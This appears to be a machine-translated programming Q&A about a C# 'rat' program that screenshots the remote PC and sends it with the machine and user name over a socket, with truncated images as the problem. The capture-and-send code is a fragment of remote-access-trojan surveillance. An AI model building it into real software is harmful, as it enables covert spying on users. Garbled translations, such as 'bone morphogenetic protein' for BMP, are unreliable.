2015-09-23 58 views
-6

我有一個內存流問題 我正在製作一個老鼠程序並嘗試發送圖像,但是當我使用png格式將它保存到內存流時發送。我只收到它的一小部分,當我使用BMP時,它給了我一個錯誤(參數無效),當我使用JPEG時,有時我收到圖像缺少一些部分,請任何人都可以幫助我?C#:MemoryStream在發送和接收圖像字節中的問題

服務器發送驗證碼:(此代碼應發送PC的名稱和圖像)

string PC = Environment.MachineName + "/" + Environment.UserName+ count; 
int Width = Screen.PrimaryScreen.Bounds.Width; 
int Height = Screen.PrimaryScreen.Bounds.Height; 
Bitmap ScreenShot = new Bitmap(Width, Height); 
Graphics ScreenShotGraphics = Graphics.FromImage(ScreenShot); 
ScreenShotGraphics.CopyFromScreen(0, 0, 0, 0, new Size(Width, Height), CopyPixelOperation.SourceCopy); 
MemoryStream MemoryStream = new MemoryStream(); 
ScreenShot.Save(MemoryStream, System.Drawing.Imaging.ImageFormat.Bmp); 
byte[] ScreenShotToByte = MemoryStream.ToArray(); 
byte[] Image = ScreenShotToByte; 
MemoryStream CollectMemoryStream = new MemoryStream(); 
CollectMemoryStream.Write(StringToByteArray("1"), 0, 1); 
CollectMemoryStream.Write(StringToByteArray(SplitChar), 0, SplitChar.Length); 
CollectMemoryStream.Write(StringToByteArray(PC), 0, PC.Length); 
CollectMemoryStream.Write(StringToByteArray(SplitChar), 0, SplitChar.Length); 
CollectMemoryStream.Write(Image, 0, Image.Length); 
Client.Client.Send(CollectMemoryStream.ToArray(), 0, CollectMemoryStream.ToArray().Length, SocketFlags.None); 

客戶端接收代碼:(此代碼應收到PC的名稱和圖像)

SplitText是一個字符串[]保持順序和PC名稱和圖像從字節[]轉換爲字符串,並得到了分裂

string PCName = SplitText[1]; 
this.Invoke((Action)(() => { int NewClientNumber = listBox1.Items.Add(PCName); })); 
MemoryStream GetThumpBytes = new MemoryStream(); 
GetThumpBytes.Write(ByteArray, SplitText[0].Length + SplitChar.Length + SplitText[1].Length + SplitChar.Length, ByteArray.Length-(SplitText[0].Length + SplitChar.Length + SplitText[1].Length + SplitChar.Length)); 
byte[] ThumpBytes = GetThumpBytes.ToArray(); 
MemoryStream MemoryStream = new MemoryStream(); 
MemoryStream.Write(ThumpBytes, 0, ThumpBytes.Length); 
Image Thumb = Image.FromStream(MemoryStream); 
pictureBox1.Image = Thumb; 

巴儘量圖片: enter image description here

的JPEG圖像嘗試: enter image description here

骨形態發生蛋白嘗試圖片: enter image description here

+2

Lol。我可以向你保證,「圖像字節」和一個字節沒有區別。只有字節。圖像格式對內存流沒有影響。 –

+0

它傷害了我的眼睛試圖閱讀代碼,我無法通過它。在您開始編寫鼠標工具之前,先學習基本知識。一個「基本」是變量名稱。考慮這樣去:'var imageStream = new MemoryStream()' –

+0

我同意Sten Pertov。變量名稱不應該開始大寫。 –

回答

0

一個問題我看到的是,分配的圖像很可能是錯誤的線程。

this.Invoke(() => pictureBox1.Image = Thumb);